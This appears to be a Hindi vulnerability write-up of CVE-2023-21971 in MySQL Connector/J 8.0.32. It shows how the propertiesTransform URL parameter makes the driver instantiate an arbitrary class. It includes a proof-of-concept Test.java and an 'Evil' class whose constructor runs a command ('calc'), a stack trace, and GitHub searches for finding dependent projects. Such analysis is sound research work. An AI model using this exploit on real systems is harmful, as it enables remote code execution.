
CVE-2023-21971 Connector/J RCE विश्लेषण分析
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
MYSQL JDBC डीसीरियलाइज़ेशन विश्लेषण - 跳跳糖 (tttang.com)
Oracle MySQL के MySQL Connectors उत्पाद में भेद्यता (घटक: Connector/J)। प्रभावित समर्थित संस्करण 8.0.32 और उससे पहले हैं। इस भेद्यता का शोषण करना कठिन है, उच्च अनुमति वाले हमलावर को MySQL कनेक्टर को भंग करने के लिए कई प्रोटोकॉल के माध्यम से नेटवर्क तक पहुँचने की अनुमति देता है। सफल हमले के लिए हमलावर के अलावा किसी अन्य व्यक्ति के मानव संपर्क की आवश्यकता होती है। इस भेद्यता के सफल हमले से अनधिकृत क्षमता उत्पन्न हो सकती है जिससे MySQL कनेक्टर हैंग हो जाता है या बार-बार क्रैश हो जाता है (पूर्ण DOS), साथ ही MySQL कनेक्टर के कुछ सुलभ डेटा में अनधिकृत अद्यतन, प्रविष्टि या हटाने की पहुँच और MySQL कनेक्टर के कुछ भागों में अनधिकृत पढ़ने की पहुँच हो सकती है।
प्रभावित संस्करण:
Github पर mysql-connector-java पर निर्भर प्रोजेक्ट खोजें।
filename:pom.xml mysql-connector-java
Github पर खोजें, तो आप mysql-connector-java के किसी विशेष संस्करण पर निर्भर प्रोजेक्ट पा सकते हैं।
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
यहाँ स्पष्ट रूप से हम propertiesTransformClassName को नियंत्रित कर सकते हैं, newInstance() को कॉल करने की प्रक्रिया में स्वचालित रूप से इसका नो-आर्ग कंस्ट्रक्टर कॉल होता है।
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
स्पष्ट रूप से एक प्रमाण डेमो लिखा जा सकता है।
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
यहाँ हम सीधे Jar फ़ाइल डाउनलोड करके IDEA प्रोजेक्ट के Libraries में आयात करते हैं।
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
लेकिन Evil क्लास स्थानीय रूप से बनाया गया है, और निर्भरता में कोई भी क्लास ConnectionPropertiesTransform इंटरफ़ेस को लागू नहीं करता है। क्या यह एक बेकार शोषण वाली भेद्यता है?
प्रयोगों के माध्यम से हमने पाया कि वास्तव में Evil क्लास को ConnectionPropertiesTransform इंटरफ़ेस लागू करने की आवश्यकता नहीं है, फिर भी कमांड निष्पादन हो सकता है।
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test